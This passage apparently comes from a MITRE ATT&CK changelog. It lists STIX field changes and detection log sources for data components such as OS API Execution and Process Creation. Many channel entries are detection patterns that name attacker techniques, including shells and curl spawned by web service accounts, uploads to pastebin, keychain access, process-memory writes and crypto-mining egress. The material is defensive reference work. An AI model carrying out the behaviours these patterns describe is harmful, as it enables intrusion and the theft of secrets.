connections'}, {'name': 'NSM:Flow', 'channel': 'connection metadata'}, {'name': 'wineventlog:dhcp', 'channel': 'DHCP Lease Granted'}, {'name': 'NSM:Flow', 'channel': 'LEASE_GRANTED'}, {'name': 'NSM:Flow', 'channel': 'MAC not in allow-list acquiring IP (DHCP)'}, {'name': 'Windows Firewall Log', 'channel': 'SMB over high port'}, {'name': 'NSM:Connections', 'channel': 'Internal connection logging'}, {'name': 'NSM:Flow', 'channel': 'pf firewall logs'}, {'name': 'esxi:vmkernel', 'channel': '/var/log/vmkernel.log'}, {'name': 'NSM:Flow', 'channel': 'Inter-segment traffic'}, {'name': 'NSM:Flow', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Long-lived or hijacked SSH sessions maintained with no active user activity'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'VPC/NSG flow logs for pod/instance egress to Internet or metadata'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious outbound traffic from browser binary to non-standard domains'}, {'name': 'NSM:Flow', 'channel': 'Abnormal browser traffic volume or destination'}, {'name': 'NSM:Flow', 'channel': 'Outbound requests to domains not previously resolved or associated with phishing campaigns'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic to domains/IPs not previously resolved, occurring shortly after attachment download or link click'}, {'name': 'M365Defender:DeviceNetworkEvents', 'channel': 'NetworkConnection: bytes_sent >> bytes_received anomaly'}, {'name': 'PF:Logs', 'channel': 'outbound flows with bytes_out >> bytes_in'}, {'name': 'NSX:FlowLogs', 'channel': 'network_flow: bytes_out >> bytes_in to external'}, {'name': 'NSM:Flow', 'channel': 'NetFlow/Zeek conn.log'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound data flows'}, {'name': 'NSM:Flow', 'channel': 'Flow records with entropy signatures resembling symmetric encryption'}, {'name': 'NSM:Flow', 'channel': 'flow records'}, {'name': 'networkdevice:syslog', 'channel': 'flow records'}, {'name': 'macos:unifiedlog', 'channel': 'HTTPS POST to known webhook URLs'}, {'name': 'saas:api', 'channel': 'Webhook registrations or repeated POST activity'}, {'name': 'NSM:Flow', 'channel': 'Source/destination IP translation inconsistent with intended policy'}, {'name': 'SNMP:DeviceLogs', 'channel': 'Unexpected NAT translation statistics or rule insertion events'}, {'name': 'NSM:Flow', 'channel': 'Sudden spike in incoming flows to web service ports from single/multiple IPs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Unusual volume of inbound packets from single source across short time interval'}, {'name': 'NSM:Flow', 'channel': 'port 5900 inbound'}, {'name': 'NSM:Flow', 'channel': 'TCP port 5900 open'}, {'name': 'NSM:firewall', 'channel': 'inbound connection to port 5900'}, {'name': 'NSM:Firewall', 'channel': 'Outbound connections to 139/445 to multiple destinations'}, {'name': 'VPCFlowLogs:All', 'channel': 'High volume internal traffic with low entropy indicating looped or malicious DoS script'}, {'name': 'NSM:Flow', 'channel': 'NetFlow/sFlow/PCAP'}, {'name': 'NSM:Flow', 'channel': 'Outbound Network Flow'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.network'}, {'name': 'NSM:Flow', 'channel': 'Device-to-Device Deployment Flows'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect syscalls'}, {'name': 'macos:unifiedlog', 'channel': 'outbound TCP/UDP traffic over unexpected port'}, {'name': 'esxi:vpxd', 'channel': 'ESXi service connections on unexpected ports'}, {'name': 'iptables:LOG', 'channel': 'OUTBOUND'}, {'name': 'macos:unifiedlog', 'channel': 'tcp/udp'}, {'name': 'esxi:hostd', 'channel': 'CLI network calls'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic from suspicious new processes post-attachment execution'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious anomalies in transmitted data integrity during application network operations'}, {'name': 'esxi:syslog', 'channel': 'DNS resolution events leading to outbound traffic on unexpected ports'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic to mining pools or proxies'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound flow logs to known mining pools'}, {'name': 'container:cni', 'channel': 'Outbound network traffic to mining proxies'}, {'name': 'esxi:vpxd', 'channel': 'TLS session established by ESXi service to unapproved endpoint'}, {'name': 'NSM:Flow', 'channel': 'Session records with TLS-like byte patterns'}, {'name': 'macos:unifiedlog', 'channel': 'HTTPS POST requests to pastebin.com or similar'}, {'name': 'NetFlow:Flow', 'channel': 'new outbound connections from exploited process tree'}, {'name': 'NSM:Connections', 'channel': 'new connections from exploited lineage'}, {'name': 'NSM:Flow', 'channel': 'Unexpected route changes or duplicate gateway advertisements'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Firewall With Advanced Security/Firewall', 'channel': 'EventCode=2004,2005,2006'}, {'name': 'NSM:Flow', 'channel': 'Knock pattern: repeated REJ/S0 across ≥MinSequenceLen ports from same src_ip then SF success.'}, {'name': 'macos:unifiedlog', 'channel': 'Firewall/PF anchor load or rule change events.'}, {'name': 'networkdevice:syslog', 'channel': 'Config/ACL changes, line vty transport input changes, telnet/ssh/http(s) enable, image/feature module changes.'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to non-approved update hosts right after install/update'}, {'name': 'NSM:Flow', 'channel': 'New outbound flows to non-approved vendor hosts post install'}, {'name': 'NSM:Flow', 'channel': 'New/rare egress to non-approved update hosts after install'}, {'name': 'NSM:Flow', 'channel': 'large outbound HTTPS uploads to repo domains'}, {'name': 'esxi:vmkernel', 'channel': 'HTTPS traffic to repository domains'}, {'name': 'NSM:Flow', 'channel': 'alert log'}, {'name': 'esxi:vmkernel', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Outbound flow records'}, {'name': 'm365:defender', 'channel': 'NetworkConnection: high out:in ratio, periodic beacons, protocol mismatch'}, {'name': 'PF:Logs', 'channel': 'high out:in ratio or fixed-size periodic flows'}, {'name': 'NSM:Flow', 'channel': 'network_flow: bytes_out >> bytes_in, fixed packet sizes/intervals to non-approved CIDRs'}, {'name': 'auditd:SYSCALL', 'channel': 'connect or sendto system call with burst pattern'}, {'name': 'macos:unifiedlog', 'channel': 'sudden burst in outgoing packets from same PID'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'source instance sends large volume of traffic in short window'}, {'name': 'NSM:Flow', 'channel': 'session stats with bytes_out > bytes_in'}, {'name': 'NIDS:Flow', 'channel': 'session stats with bytes_out > bytes_in'}, {'name': 'esxi:vpxa', 'channel': 'connection attempts and data transmission logs'}, {'name': 'PF:Logs', 'channel': 'External traffic to remote access services'}, {'name': 'NSM:Flow', 'channel': 'High volumes of SYN/ACK packets with unacknowledged TCP handshakes'}, {'name': 'dns:query', 'channel': 'Outbound resolution to hidden service domains (e.g., `.onion`)'}, {'name': 'NSM:Flow', 'channel': 'conn.log + ssl.log with Tor fingerprinting'}, {'name': 'macos:unifiedlog', 'channel': 'forwarded encrypted traffic'}, {'name': 'NSM:Flow', 'channel': 'Relayed session pathing (multi-hop)'}, {'name': 'NSM:Flow', 'channel': 'Outbound TCP SYN or UDP to multiple ports/hosts'}, {'name': 'containerd:runtime', 'channel': 'container-level outbound traffic events'}, {'name': 'WLANLogs:Association', 'channel': 'Multiple APs advertising the same SSID but with different BSSID/MAC or encryption type'}, {'name': 'linux:osquery', 'channel': 'socket_events'}, {'name': 'WinEventLog:Security', 'channel': 'ARP cache modification attempts observed through event tracing or security baselines'}, {'name': 'NSM:Flow', 'channel': 'Gratuitous ARP replies with mismatched IP-MAC binding'}, {'name': 'macos:unifiedlog', 'channel': 'ARP table updates inconsistent with expected gateway or DHCP lease assignments'}, {'name': 'macos:unifiedlog', 'channel': 'networkd or com.apple.network'}, {'name': 'macos:unifiedlog', 'channel': 'log stream \'eventMessage contains "dns_request"\''}, {'name': 'esxi:syslog', 'channel': '/var/log/syslog.log'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateTrafficMirrorSession or ModifyTrafficMirrorTarget'}, {'name': 'networkdevice:syslog', 'channel': "Config change: CLI/NETCONF/SNMP – 'monitor session', 'mirror port'"}, {'name': 'NSM:Flow', 'channel': 'Outbound UDP floods targeting common reflection services with spoofed IP headers'}, {'name': 'macos:unifiedlog', 'channel': 'Outbound UDP spikes to external reflector IPs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Large outbound UDP traffic to multiple public reflector IPs'}, {'name': 'macos:unifiedlog', 'channel': 'High entropy domain queries with multiple NXDOMAINs'}, {'name': 'esxi:syslog', 'channel': 'Frequent DNS queries with high entropy names or NXDOMAIN results'}, {'name': 'vpxd.log', 'channel': 'API communication'}, {'name': 'NSM:Connections', 'channel': 'Outbound Connection'}, {'name': 'NSM:Flow', 'channel': 'Connection Tracking'}, {'name': 'NSM:Firewall', 'channel': 'pf firewall logs'}, {'name': 'NSM:Flow', 'channel': 'Flow Creation (NetFlow/sFlow)'}, {'name': 'NSM:Flow', 'channel': 'conn.log, icmp.log'}, {'name': 'NSM:Flow', 'channel': 'Abnormal SMB authentication attempts correlated with poisoned LLMNR/NBT-NS sessions'}, {'name': 'NSM:Flow', 'channel': 'Gratuitous or duplicate DHCP OFFER packets from non-legitimate servers'}, {'name': 'NSM:Connections', 'channel': 'Inbound on ports 5985/5986'}, {'name': 'linux:syslog', 'channel': 'Multiple IP addresses assigned to the same domain in rapid sequence'}, {'name': 'macos:unifiedlog', 'channel': 'Rapid domain-to-IP resolution changes for same domain'}, {'name': 'esxi:syslog', 'channel': 'Frequent DNS resolution of same domain with rotating IPs'}, {'name': 'NSM:Flow', 'channel': 'uncommon ports'}, {'name': 'NSM:Flow', 'channel': 'alternate ports'}, {'name': 'esxi:vpxd', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'conn.log or flow data'}, {'name': 'esxi:vmkernel', 'channel': 'egress log analysis'}, {'name': 'esxi:vmkernel', 'channel': 'egress logs'}, {'name': 'NSM:Flow', 'channel': 'High volume flows with incomplete TCP sessions or single-packet bursts'}, {'name': 'NSM:Flow', 'channel': 'Knock pattern: multiple REJ/S0 to distinct closed ports then successful connection to service_port'}, {'name': 'macos:unifiedlog', 'channel': 'Firewall rule enable/disable or listen socket changes'}, {'name': 'networkdevice:syslog', 'channel': 'Config/ACL/line vty changes, service enable (telnet/ssh/http(s)), module reloads'}, {'name': 'auditd:SYSCALL', 'channel': 'ioctl: Changes to wireless network interfaces (up, down, reassociate)'}, {'name': 'macos:osquery', 'channel': 'query: Historical list of associated SSIDs compared against baseline'}, {'name': 'NSM:Flow', 'channel': 'First-time egress from host after new install to unknown update endpoints'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to unknown registries/mirrors immediately after install'}, {'name': 'NSM:Flow', 'channel': 'New egress from app just installed to unknown update endpoints'}, {'name': 'esxi:vpxd', 'channel': 'ESXi processes relaying traffic via SSH or unexpected ports'}, {'name': 'NSM:Flow', 'channel': 'Outbound connection to mining pool port (3333, 4444, 5555)'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic to mining pool upon container launch'}, {'name': 'NSM:Flow', 'channel': 'Flow records with RSA key exchange on unexpected port'}, {'name': 'NSM:Flow', 'channel': 'Outbound connections from web server binaries (apache2, nginx, php-fpm) to unknown external IPs'}, {'name': 'NSM:Flow', 'channel': 'sustained outbound HTTPS sessions with high data volume'}, {'name': 'NSM:Flow', 'channel': 'Connections from IDE hosts to marketplace/tunnel domains'}, {'name': 'macos:unifiedlog', 'channel': 'Outbound connections from IDE processes to marketplace/tunnel domains'}, {'name': 'NSM:Flow', 'channel': 'large HTTPS outbound uploads'}, {'name': 'esxi:vmkernel', 'channel': 'network flows to external cloud services'}, {'name': 'NSM:Flow', 'channel': 'TCP port 22 traffic'}, {'name': 'esxi:vmkernel', 'channel': 'port 22 access'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:11:20.168000+00:002025-10-21 15:14:34.703000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0021] OS API Execution

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0021', 'external_id': 'DC0021'}]
x_mitre_log_sources[{'name': 'Process', 'channel': 'None'}, {'name': 'etw:Microsoft-Windows-Kernel-Base', 'channel': 'GetLocaleInfoW, GetTimeZoneInformation API calls'}, {'name': 'AWS:CloudTrail', 'channel': 'GetMetadata, DescribeInstanceIdentity'}, {'name': 'macos:osquery', 'channel': 'open, execve: Unexpected processes accessing or modifying critical files'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace, ioctl'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'API tracing / stack tracing via ETW or telemetry-based EDR'}, {'name': 'EDR:memory', 'channel': 'Behavioral API telemetry (GetProcAddress, LoadLibrary, VirtualAlloc)'}, {'name': 'networkdevice:syslog', 'channel': 'aaa privilege_exec'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'APCQueueOperations'}, {'name': 'macos:unifiedlog', 'channel': 'Invocation of SMLoginItemSetEnabled by non-system or recently installed application'}, {'name': 'macos:unifiedlog', 'channel': 'flock|NSDistributedLock|FileHandle.*lockForWriting'}, {'name': 'etw:Microsoft-Windows-Directory-Services-SAM', 'channel': 'api_call: Calls to DsAddSidHistory or related RPC operations'}, {'name': 'macos:unifiedlog', 'channel': 'application logs referencing NSTimer, sleep, or launchd delays'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'High-frequency or suspicious sequence of QueryPerformanceCounter/GetTickCount API calls from a non-standard process lineage'}, {'name': 'auditd:SYSCALL', 'channel': 'Rules capturing clock_gettime, time, gettimeofday syscalls when enabled'}, {'name': 'networkdevice:syslog', 'channel': 'Unexpected reload, crashinfo, or boot message not tied to scheduled maintenance'}, {'name': 'etw:Microsoft-Windows-RPC', 'channel': 'rpc_call: srvsvc.NetShareEnum / NetShareEnumAll from non-admin or unusual processes'}, {'name': 'NSM:Flow', 'channel': 'smb_command: TreeConnectAndX to \\\\*\\IPC$ / srvsvc or Trans2/NT_CREATE for listing shares'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656'}, {'name': 'EDR:memory', 'channel': 'API usage MFCreateDeviceSource, IAMStreamConfig, ICaptureGraphBuilder2, DirectShow filter graph creation from uncommon callers'}, {'name': 'auditd:SYSCALL', 'channel': 'openat/read/ioctl: openat/read/ioctl on /dev/video* by uncommon user/process'}, {'name': 'macos:unifiedlog', 'channel': 'Access decisions to kTCCServiceCamera for unexpected binaries'}, {'name': 'EDR:memory', 'channel': 'Objective‑C/Swift calls to AVCaptureDevice/AVCaptureSession by non-whitelisted processes'}, {'name': 'auditd:SYSCALL', 'channel': 'mmap, ptrace, process_vm_writev or direct memory ops'}, {'name': 'WinEventLog:Application', 'channel': 'API call to AddMonitor invoked by non-installer process'}, {'name': 'etw:Microsoft-Windows-Win32k', 'channel': 'SetWindowLong, SetClassLong, NtUserMessageCall, SendNotifyMessage, PostMessage'}, {'name': 'auditd:SYSCALL', 'channel': 'unshare, mount, keyctl, setns syscalls executed by containerized processes'}, {'name': 'macos:unifiedlog', 'channel': 'audio APIs'}, {'name': 'WinEventLog:Microsoft-Windows-COM/Operational', 'channel': 'CLSID activation events where ProcessName=mmc.exe and CLSID not in allowed baseline'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.securityd, com.apple.tccd'}, {'name': 'auditd:SYSCALL', 'channel': 'send, recv, write: Abnormal interception or alteration of transmitted data'}, {'name': 'macos:osquery', 'channel': 'CALCULATE: Integrity validation of transmitted data via hash checks'}, {'name': 'ETW:Token', 'channel': 'token_analysis: API calls such as DuplicateTokenEx or ImpersonateLoggedOnUser'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'API Calls'}, {'name': 'etw:Microsoft-Windows-DotNETRuntime', 'channel': 'AssemblyLoad/ModuleLoad (Loader keyword) from Microsoft-Windows-DotNETRuntime'}, {'name': 'EDR:memory', 'channel': 'VirtualAlloc/VirtualProtect/MapViewOfFile indicators via stack/heap activity and ImageLoad'}, {'name': 'auditd:MMAP', 'channel': 'memory region with RWX permissions allocated'}, {'name': 'snmp:trap', 'channel': 'management queries'}, {'name': 'AWS:CloudTrail', 'channel': 'Describe* or List* API calls'}, {'name': 'etw:Microsoft-Windows-Win32k', 'channel': 'SendMessage, PostMessage, LVM_*'}, {'name': 'auditd:SYSCALL', 'channel': 'sudo or pkexec invocation'}, {'name': 'macos:unifiedlog', 'channel': 'authorization execute privilege requests'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'NtQueryInformationProcess'}, {'name': 'macos:unifiedlog', 'channel': 'ptrace: Processes invoking ptrace with PTRACE_TRACEME flag'}, {'name': 'esxi:hostd', 'channel': 'Remote access API calls and file uploads'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext, ResumeThread'}, {'name': 'linux:syslog', 'channel': 'Execution of modified binaries or abnormal library load sequences'}, {'name': 'macos:unifiedlog', 'channel': 'Calls to AuthorizationExecuteWithPrivileges() observed via Apple System Logger or security_auditing tools'}, {'name': 'macos:unifiedlog', 'channel': 'access or unlock attempt to keychain database'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of input detection APIs (e.g., CGEventSourceKeyState)'}, {'name': 'auditd:SYSCALL', 'channel': 'mount system call with bind or remap flags'}, {'name': 'AWS:CloudTrail', 'channel': 'Decrypt'}, {'name': 'etw:Microsoft-Windows-Kernel-File', 'channel': 'ZwSetEaFile or ZwQueryEaFile function calls'}, {'name': 'auditd:SYSCALL', 'channel': 'fork/clone/daemon syscall tracing'}, {'name': 'fs:fsusage', 'channel': 'Detached process execution with no associated parent'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace, mmap, mprotect, open, dlopen'}, {'name': 'ETW:ProcThread', 'channel': 'api_call: CreateProcessWithTokenW, CreateProcessAsUserW'}, {'name': 'EDR:memory', 'channel': 'MemoryWriteToExecutable'}, {'name': 'ETW:Token', 'channel': 'api_call: DuplicateTokenEx, ImpersonateLoggedOnUser, SetThreadToken'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'api_call: UpdateProcThreadAttribute (PROC_THREAD_ATTRIBUTE_PARENT_PROCESS) and CreateProcess* with EXTENDED_STARTUPINFO_PRESENT / StartupInfoEx'}, {'name': 'etw:Microsoft-Windows-Security-Auditing', 'channel': 'api_call: LogonUser(A|W), LsaLogonUser, SetThreadToken, ImpersonateLoggedOnUser'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'API calls'}, {'name': 'auditd:SYSCALL', 'channel': 'ptrace, mmap, process_vm_writev'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of dd or sed targeting /proc/*/mem'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'CreateTransaction, CreateFileTransacted, RollbackTransaction, NtCreateProcessEx, NtCreateThreadEx'}, {'name': 'ETW', 'channel': 'Calls to GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'WriteProcessMemory: WriteProcessMemory targeting regions containing KernelCallbackTable addresses'}, {'name': 'EDR:file', 'channel': 'SetFileTime'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:31.145000+00:002025-10-21 15:14:36.999000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0116] Permissions Request

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0116', 'external_id': 'DC0116'}]
x_mitre_log_sources[{'name': 'User Interface', 'channel': 'None'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--55ba7d30-887f-42c1-a24e-c4e90aff24b8
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:22:21.873000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[DC0114] Permissions Requests

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0114', 'external_id': 'DC0114'}]
x_mitre_log_sources[{'name': 'Application Vetting', 'channel': 'None'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--e156f007-c5bf-45cc-8dd5-d442ffb0d203
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:22:21.394000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[DC0032] Process Creation

Current version: 2.0

Version changed from: 1.2 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0032', 'external_id': 'DC0032'}]
x_mitre_log_sources[{'name': 'Process', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'execve'}, {'name': 'macos:unifiedlog', 'channel': "log stream 'eventMessage contains pubsub or broker'"}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=1'}, {'name': 'linux:osquery', 'channel': 'Execution of binary resolved from $PATH not located in /usr/bin or /bin'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution path inconsistent with baseline PATH directories'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4688'}, {'name': 'linux:osquery', 'channel': 'process_events'}, {'name': 'macos:endpointsecurity', 'channel': 'exec'}, {'name': 'macos:osquery', 'channel': 'processes'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of launchctl with suspicious arguments'}, {'name': 'auditd:SYSCALL', 'channel': 'execve network tools'}, {'name': 'macos:osquery', 'channel': 'process_events'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls to soffice.bin with suspicious macro execution flags'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution of Microsoft Word, Excel, PowerPoint with macro execution attempts'}, {'name': 'macos:osquery', 'channel': 'process reading browser configuration paths'}, {'name': 'macos:unifiedlog', 'channel': 'exec logs'}, {'name': 'auditd:EXECVE', 'channel': 'execve: Processes launched with LD_PRELOAD/LD_LIBRARY_PATH pointing to non-system dirs'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: Process execution context for loaders calling dlopen/dlsym'}, {'name': 'auditd:EXECVE', 'channel': 'EXECVE'}, {'name': 'auditd:EXECVE', 'channel': 'execution of unexpected binaries during user shell startup'}, {'name': 'macos:unifiedlog', 'channel': 'launch of Terminal.app or shell with non-standard environment setup'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC with unusual parent-child process relationships from zsh'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of systemctl or service stop'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of launchctl or pkill'}, {'name': 'macos:unifiedlog', 'channel': 'process::exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of klist, kinit, or tools interacting with ccache outside normal user context'}, {'name': 'macos:osquery', 'channel': 'Execution of non-standard binaries accessing Kerberos APIs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Electron-based binary spawning shell or script interpreter'}, {'name': 'macos:unifiedlog', 'channel': 'Electron app spawning unexpected child process'}, {'name': 'esxi:shell', 'channel': '/root/.ash_history or /etc/init.d/*'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls with high-frequency or known bandwidth-intensive tools'}, {'name': 'macos:unifiedlog', 'channel': 'exec or spawn calls to proxy tools or torrent clients'}, {'name': 'containers:osquery', 'channel': 'bandwidth-intensive command execution from within a container namespace'}, {'name': 'macos:unifiedlog', 'channel': 'process launch'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --info --predicate \'subsystem == "com.apple.cfprefsd"\''}, {'name': 'macos:unifiedlog', 'channel': 'execution of security, sqlite3, or unauthorized binaries'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected applications generating outbound DNS queries'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=1'}, {'name': 'macos:osquery', 'channel': 'execve'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected child process of Safari or Chrome'}, {'name': 'auditd:SYSCALL', 'channel': 'execve or syscall invoking vm artifact check commands (e.g., dmidecode, lspci, dmesg)'}, {'name': 'macos:unifiedlog', 'channel': 'execution of system_profiler, ioreg, kextstat with argument patterns related to VM/sandbox checks'}, {'name': 'macos:unifiedlog', 'channel': 'process writes or modifies files in excluded paths'}, {'name': 'macos:unifiedlog', 'channel': 'process'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.mail.* exec.*'}, {'name': 'macos:unifiedlog', 'channel': 'execution of memory inspection tools (lldb, gdb, osqueryi)'}, {'name': 'esxi:vobd', 'channel': '/var/log/vobd.log'}, {'name': 'kubernetes:apiserver', 'channel': 'kubectl exec or kubelet API calls targeting running pods'}, {'name': 'docker:audit', 'channel': 'Process execution events within container namespace context'}, {'name': 'auditd:SYSCALL', 'channel': 'process persists beyond parent shell termination'}, {'name': 'macos:unifiedlog', 'channel': 'background process persists beyond user logout'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of scripts or binaries sourced from mail directories (/var/mail, ~/Maildir)'}, {'name': 'macos:unifiedlog', 'channel': 'Preview.app, Safari.app, or Mail.app spawning new processes outside normal patterns'}, {'name': 'esxi:hostd', 'channel': 'process execution across cloud VM'}, {'name': 'auditd:EXECVE', 'channel': 'systemctl spawning managed processes'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'esxi:shell', 'channel': '/var/log/shell.log'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of processes linked to hijacked sessions (e.g., anomalous parent-child process lineage)'}, {'name': 'macos:unifiedlog', 'channel': 'exec events where web process starts a shell/tooling'}, {'name': 'docker:events', 'channel': 'Docker/Kubernetes audit of exec/attach (kubectl exec) or unexpected child processes inside container'}, {'name': 'macos:unifiedlog', 'channel': 'exec of osascript, bash, curl with suspicious parameters'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of container management CLIs (docker, crictl, kubectl) or interpreted shells (sh, bash, python) within container context'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of discovery commands targeting backup binaries, processes, or config paths'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution logs showing discovery commands like mdfind, system_profiler, or launchctl list'}, {'name': 'macos:osquery', 'channel': 'process_events OR launchd'}, {'name': 'auditd:EXECVE', 'channel': 'execve'}, {'name': 'macos:osquery', 'channel': 'launchd or process_events'}, {'name': 'macos:unifiedlog', 'channel': 'process and file events via log stream'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of scripts or binaries spawned from browser processes'}, {'name': 'macos:unifiedlog', 'channel': 'Browser processes launching unexpected interpreters (osascript, bash)'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Execution of defaults, plutil, or common editors (vim/nano) targeting plist files'}, {'name': 'auditd:SYSCALL', 'channel': 'EXECVE'}, {'name': 'macos:unifiedlog', 'channel': 'process:exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of bash, python, or perl processes spawned by browser/email client'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of osascript, bash, or Terminal initiated from Mail.app or Safari'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of /bin/sh,/bin/bash,/usr/bin/curl,/usr/bin/python by service accounts (e.g., apache, mysql, nobody) immediately after inbound network activity.'}, {'name': 'macos:osquery', 'channel': "parent_name in ('sshd','httpd','screensharingd') spawning shells or scripting runtimes."}, {'name': 'macos:unifiedlog', 'channel': 'process activity stream'}, {'name': 'auditd:SYSCALL', 'channel': 'SYSCALL record where exe contains passwd/userdel/chage and auid != root'}, {'name': 'macos:unifiedlog', 'channel': 'Post-login execution of unrecognized child process from launchd or loginwindow'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of base64|openssl|xxd|python|perl with arguments matching Base64 flags'}, {'name': 'macos:unifiedlog', 'channel': 'process command line contains base64, -enc, openssl enc -base64'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: arguments contain Base64-like strings'}, {'name': 'esxi:shell', 'channel': 'commands containing base64, openssl enc -base64, xxd -p'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of process launched via loginwindow session restore'}, {'name': 'macos:unifiedlog', 'channel': 'process: exec + filewrite: ~/.ssh/authorized_keys'}, {'name': 'containerd:runtime', 'channel': '/var/log/containers/*.log'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Java apps or other processes with hidden window attributes'}, {'name': 'macos:unifiedlog', 'channel': 'Process Execution'}, {'name': 'auditd:SYSCALL', 'channel': 'execve on code or jetbrains-gateway with remote flags'}, {'name': 'macos:unifiedlog', 'channel': 'process: code or jetbrains-gateway launching with --tunnel or --remote'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'processImagePath CONTAINS "curl" OR "osascript"\''}, {'name': 'auditd:EXECVE', 'channel': 'Execution of dd, shred, wipe targeting block devices'}, {'name': 'auditd:SYSCALL', 'channel': 